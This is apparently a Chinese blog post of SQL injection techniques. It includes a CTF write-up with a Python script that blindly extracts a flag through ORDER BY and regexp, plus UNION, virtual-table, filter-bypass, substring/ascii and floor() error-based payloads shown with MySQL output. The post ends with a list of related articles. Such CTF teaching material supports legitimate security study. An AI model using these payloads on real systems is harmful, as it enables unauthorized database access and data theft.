SQL注入的一些技巧分享
先上一道简单的ctf注入题:
一道利用order by进行注入的ctf题
很不错的一道利用order by的注入题,之前不知道order by除了爆字段还有这种操作。
原题地址:http://chall.tasteless.eu/level1/index.php?dir=
直接进去dir后的参数是ASC,网页上有从1~10编号的10条信息。绕了一大圈反应出是order by后的参数,尝试把参数改为DESC,果然倒序排列了。题目给了提示:hint: table level1_flag column flag给了数据表和字段,于是开始构造payload。
于是玄学来了,在order by后面插入管道符|之后再跟一个偶数(?这里我真的不清楚)会导致排序错乱。尝试以下url:
http://chall.tasteless.eu/level1/index.php?dir=|2
果然排序错乱,那么想要查出flag必定要使用以下语句:
select flag from level1_flag
(结果证明确实这是一个一行一列的玩意儿,不然就要使用到limit或group_concat)
但是网页上没有显示这个的输出框,于是我们这样利用这个查询的结果集:
|(select(select flag from level1_flag)regexp '正则')+1
解释一下,括号里的正则匹配成功返回1,所以再加1变成2
所以如果匹配成功,网页的排序就会错乱,如果不成功排序则不会错乱,于是最终脚本:
import urllib
import requests
result_string="^"
right_url="http://chall.tasteless.eu/level1/index.php?dir=|(select(select flag from level1_flag limit 0,1) regexp 'sdfghj')%2b1"
ordered_content=requests.get(right_url).content
while(1):
for letter in '1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM?':
if(letter=='?'):
exit()
result_string_tem=result_string+letter
url="http://chall.tasteless.eu/level1/index.php?dir=|(select(select flag from level1_flag limit 0,1) regexp "+"'"+result_string_tem+"'"+")%2b1"
print url
content=requests.get(url).content
if(content!=ordered_content):
result_string=result_string_tem
print result_string
break
continue
总结一下:
1、管道符的使用(见正文)
2、regexp的使用(见正文)
其实还有一个group by后面的注入,where后面的都能用
0x00 union、intersect和minus的使用
union基本语法:
select语句
union select语句
intersect(交集)和minus(差集)也一样,但是mysql不支持交集和差集,所以这也是一个判断数据库的方法。
就说说union:
基本法:前后两个select语句的字段数要相同,不然sql必定报错,所以可以用union指令判断数据表的字段数,基本构造方法:
...where...union select 1,2,3,4,...,x limit y,z
其中where子句可以没有,limit视情况而定,中间输入进去的1,2,3,4,…,x他们中的任何一个都可以用函数代替,最终他们在默认排序的情况下会被拼接到结果集的最后一行。例:
mysql> select * from learning_test union select 1,version(),concat('sh','it'),4,5;
+------+---------+---------+---------+----------------------+
| num | column2 | column3 | column4 | bin_column |
+------+---------+---------+---------+----------------------+
| 1 | a | s | s | aaaaaaaa |
| 2 | b | s | s | ddd |
| 3 | c | s | s | wwwwwwww |
| 4 | d | s | s | fffffff |
| 1 | 5.5.53 | shit | 4 | 5 |
+------+---------+---------+---------+----------------------+
5 rows in set (0.03 sec)
union查询强大而灵活,因为他可以查询两个不同的表的信息,哪怕这两个表字段数不同,只要这样做:
mysql> select * from learning_test union select 1,version(),3,group_concat(test_table),5 from test_table;
+------+---------+---------+---------+----------------------+
| num | column2 | column3 | column4 | bin_column |
+------+---------+---------+---------+----------------------+
| 1 | a | s | s | aaaaaaaa |
| 2 | b | s | s | ddd |
| 3 | c | s | s | wwwwwwww |
| 4 | d | s | s | fffffff |
| 1 | 5.5.53 | 3 | 1,2,3 | 5 |
+------+---------+---------+---------+----------------------+
5 rows in set (0.03 sec)
而test_table内的数据结构是这样的:
+------------+
| test_table |
+------------+
| 1 |
| 2 |
| 3 |
+------------+
很明显与learning_test表的字段数不同,但是我们使用了group_concat()函数拼接了我们需要的内容。
0x01 管道符的使用
1、order by之后可以使用|数字使排序错乱,不清楚具体是怎么错乱的
2、where子句之后跟上|1或|0也能出数据,但要是跟上|大于一或小于零的数就出不了数据
0x02 regexp的使用
很简单,正则匹配,匹配对象必须是单行单列,或者说是字符串。基本语法:
select (select语句) regexp '正则'
意思是将括号内的查询的结果集尝试与给出的正则匹配,如果配对成功则返回1,配对失败返回0。
0x03 group_concat()的使用
将一列数据进行拼接,非常便利的函数,一般与union一起使用,就像本节的第一小节给出的最后一个例子一样。
0x04 利用虚拟表在不知道字段名的情况下出数据
-1 UNION ALL SELECT * FROM (
(SELECT 1)a JOIN (
SELECT F.4 from (
SELECT * FROM (SELECT 1)u JOIN (SELECT 2)i JOIN (SELECT 3)o JOIN (SELECT 4)r
UNION
SELECT * FROM NEWS LIMIT 1 OFFSET 4
)F
)b JOIN (SELECT 3)c JOIN (SELECT 4)d
)
先上一道ctf题的payload进行分析:
正常版:
-1 UNION ALL SELECT * FROM ((SELECT 1)a JOIN (SELECT F.4 from (SELECT * FROM (SELECT 1)u JOIN (SELECT 2)i JOIN (SELECT 3)o JOIN (SELECT 4)r UNION SELECT * FROM NEWS LIMIT 1 OFFSET 4)F)b JOIN (SELECT 3)c JOIN (SELECT 4)d)
这本是一道ctf题,前面估计是where后面的子句。这道题过滤了三样东西:1、空格,2、逗号,3、字段名
这里不详细说绕过,方法很多,空格利用%0a绕过,union指令中的逗号利用join绕过,limit指令中的逗号利用offset绕过。
这里因为payload中不能出现字段名,因此我们创建了一个与所查表字段数相同的虚拟表并对其并将其查询结果与前面的查询union起来。具体来说是这样:
-- 比如说在原查询的第二字段处出数据
... where ...
union all
select * from(
(select 1)a join(
select F.[需要查询的字段号] from(
select * from [需要查询的表有多少个字段就join多少个]
union
select * from [需要查询的表] [limit子句]
)F-- 我们创建的虚拟表没有表名,因此定义一个别名,然后直接[别名].[字段号]查询数据
)b-- 同上[还差多少字段就再join多少个,以满足字段数相同的原则] )
正常版:
... where ... union all select * from((select 1)a join(select F.[需要查询的字段号] from(select * from [需要查询的表有多少个字段就join多少个] union select * from [需要查询的表] [limit子句])F)b[还差多少字段就再join多少个,以满足字段数相同的原则])
payload中的join换成逗号亦可。
我们平时使用union时都是将union select 1,2,3,4…写在后面以填充不存在的数据并测试字段数。在这种操作中我们把union select 1,2,3,4…写在了前面来充当虚拟表的字段名。本质上来说并不是不知道字段名,而是把不知道字段名的表的查询结果和我们创建的字段名为1,2,3,4…的虚拟表的交集作为一个结果集返回。
这里有一个点,方括号内的limit子句需要特别注意,要取下面这个子查询↓
select F.[需要查询的字段号] from(select * from [需要查询的表有多少个字段就join多少个] union select * from [需要查询的表] [limit子句]
结果集的最后一行,因为我们需要的数据被union拼到了最后一行(在我们需要的数据只有一行的情况下)。
如果我们需要的东西不止一行会怎么样呢?一段简单的测试:
mysql> select * from learning_test union all SELECT * FROM ((SELECT 1)a JOIN (SELECT F.1 from (SELECT * FROM (SELECT 1)u UNION SELECT * FROM test_table LIMIT 2 OFFSET 1)F)b JOIN (SELECT 3)c JOIN (SELECT 4)d JOIN (select 5)e);
+------+---------+---------+---------+-------------+
| num | column2 | column3 | column4 | bin_column |
+------+---------+---------+---------+-------------+
| 1 | a | s | s | aaaaaaaaa |
| 2 | b | s | s | dddd |
| 3 | c | s | s | wwwwwwww |
| 4 | d | s | s | ffffffff |
| 1 | 2 | 3 | 4 | 5 |
| 1 | 3 | 3 | 4 | 5 |
+------+---------+---------+---------+-------------+
6 rows in set (0.00 sec)
并不会报错,我们需要的查询结果就是第5,6行第2字段的2和3。
下面是对虚拟表的简单测试:
mysql> select * from ((select 1)a join (select 2)b) limit 1 offset 1;
Empty set (0.00 sec)
mysql> select * from ((select 1)a join (select 2)b);
+---+---+
| 1 | 2 |
+---+---+
| 1 | 2 |
+---+---+
1 row in set (0.00 sec)
可以看到我们创建的确实是字段名为1和2的虚拟表,此表的结构为一行两列。
用虚拟表去union其他表的数据:
mysql> select * from ((select 233)a,(select 2333)b,(select 23333)c,(select 233333)d,(select 2333333)e) union select * from learning_test;
+------+------+-------+--------+-------------+
| 233 | 2333 | 23333 | 233333 | 2333333 |
+------+------+-------+--------+-------------+
| 233 | 2333 | 23333 | 233333 | 2333333 |
| 1 | a | s | s | aaaaaaaa |
| 2 | b | s | s | ddd |
| 3 | c | s | s | wwwwwwww |
| 4 | d | s | s | fffffff |
+------+------+-------+--------+-------------+
5 rows in set (0.00 sec)
表明我们之前的分析是正确的,方法可行。
0x05 substring()和ascii()的联合使用
用于猜解数据库名、表名、字段名和查询结果等
具体使用:
mysql> select ascii((select substring((select bin_column from learning_test where num=2),1,1)))>10;
+--------------------------------------------------------------------------------------+
| ascii((select substring((select bin_column from learning_test where num=2),1,1)))>10 |
+--------------------------------------------------------------------------------------+
| 1 |
+--------------------------------------------------------------------------------------+
1 row in set (0.02 sec)
看到返回了1,也就是说select bin_column from learning_test where num=2这个查询语句返回的结果集的第一个字符的ascii码确实是大于10的。当然这个过程是繁琐的,可以使用脚本进行自动化猜解,或使用sqlmap中集成的类似的自动化注入功能。
0x06 利用floor()报错注入
payload:
...and (select count(*),concat(version(),floor(rand(0)*8))x from information_schema.tables group by x)a;
或
...and (select count(*) from (select 1 union select null union select !1)x group by concat(version(),floo
SQL注入的一些技巧分享的更多相关文章
- SQL注入绕过的技巧总结
sql注入在很早很早以前是很常见的一个漏洞.后来随着安全水平的提高,sql注入已经很少能够看到了.但是就在今天,还有很多网站带着sql注入漏洞在运行.稍微有点安全意识的朋友就应该懂得要做一下sql注入 ...
- 跟bWAPP学WEB安全(PHP代码)--SQL注入的一些技巧
背景 模拟环境还是 bWAPP,只不过这个bWAPP的SQL注入有点多,一一写意义不大,在这边就利用这个环境来尝试一些SQL注入的技巧.并研究下PHP的防御代码. 普通的bWAPPSQL注入的简单介绍 ...
- 发现sql注入的一些技巧
1.如果一个'导致错误,试着查看\'能否成功(因为反斜杠在MySQL中取消了单引号)2.你也可以尝试注释掉,--',看页面返回是否正常.3.如果正常的输入只是一个整数,你可以尝试减去一些量,然后查看减 ...
- 【记录】SQL注入过滤源码分享
$id=check_addslashes($_GET['id']);$id= preg_replace('/o*r/i',"", $id); //strip out OR (non ...
- sql注入常见绕过技巧
参考链接:https://blog.csdn.net/huanghelouzi/article/details/82995313 https://www.cnblogs.com/vincy99/p/9 ...
- sql注入时易被忽略的语法技巧以及二次注入
那些容易被忽略.容易被弄错的地方 sql注入时的技巧 ========================================================================= ...
- SQL注入技术专题—由浅入深【精华聚合贴】
SQL注入技术专题—由浅入深[精华聚合贴] 不管用什么语言编写的Web应用,它们都用一个共同点,具有交互性并且多数是数据库驱动.在网络中,数据库驱动的Web应用随处可见,由此而存在的SQL注入是影响企 ...
- SQL注入绕WAF总结
0x00 前言 在服务器客户端领域,曾经出现过一款360主机卫士,目前已停止更新和维护,官网都打不开了,但服务器中依然经常可以看到它的身影.从半年前的测试虚拟机里面,翻出了360主机卫士Apache版 ...
- Bypass 360主机卫士SQL注入防御(多姿势)
0x00 前言 在服务器客户端领域,曾经出现过一款360主机卫士,目前已停止更新和维护,官网都打不开了,但服务器中依然经常可以看到它的身影.从半年前的测试虚拟机里面,翻出了360主机卫士Apache版 ...
随机推荐
- HTML和CSS 入门系列(二):文字、表单、表格、浮动、定位、框架布局、SEO
上一篇:HTML和CSS 入门系列(一):超链接.选择器.颜色.盒模式.DIV布局.图片 一.文字 1.1 属性 1.2 字体样式:font-family 1.3 字体大小:font-size 1.4 ...
- git 更改远程仓库地址,强行推送远程仓库
强行推送远程仓库 #把一个现有的工程拷贝一份 #去掉远程仓库关联 git remote rm origin #添加远程仓库关联 git remote add origin http://xxx.git ...
- mybatis 中的 update 返回值
摘自:https://www.jianshu.com/p/80270b93082a 如果定义一个如下的update函数,那么这个函数的返回值到底是啥意思呢?是受影响的行数吗? 验证之前我们先看看数据库 ...
- LeetCode 11. 盛最多水的容器(Container With Most Water)
题目描述 给定 n 个非负整数 a1,a2,...,an,每个数代表坐标中的一个点 (i, ai) .画 n 条垂直线,使得垂直线 i 的两个端点分别为 (i, ai) 和 (i, 0).找出其中的两 ...
- EPPlus生成Excel表格(只支持2007及以上)
主要来源: https://www.cnblogs.com/rumeng/p/3785748.html http://epplus.codeplex.com/ FileInfo newFile = n ...
- spark MLlib 概念 4: 协同过滤(CF)
1. 定义 协同过滤(Collaborative Filtering)有狭义和广义两种意义: 广义协同过滤:对来源不同的数据,根据他们的共同点做过滤处理. Collaborative filterin ...
- 开源EDR(OSSEC)基础篇- 02 -部署环境与安装方式
https://yq.aliyun.com/articles/683077?spm=a2c4e.11163080.searchblog.9.753c2ec1lRj02l
- Jmeter(五)检查点
录制的脚本回放成功了, 但是运行有可能出现失败的情况, 所以有必要让JMeter来帮我们验证测试结果的正确性. 在Jmeter中是用断言组件来实现此功能的. 首先, 在需要添加断言的请求后面, 添加响 ...
- 2019.03.30 Dialog demo 一个标准使用的dialog程序
PROGRAM zdemo_dialog. INCLUDE zdemo_dialogtop. INCLUDE zdemo_dialogo01. INCLUDE zdemo_dialogi01. INC ...
- Tensorflow Lite tflite模型的生成与导入
假如想要在ARM板上用tensorflow lite,那么意味着必须要把PC上的模型生成tflite文件,然后在ARM上导入这个tflite文件,通过解析这个文件来进行计算. 根据前面所说,tenso ...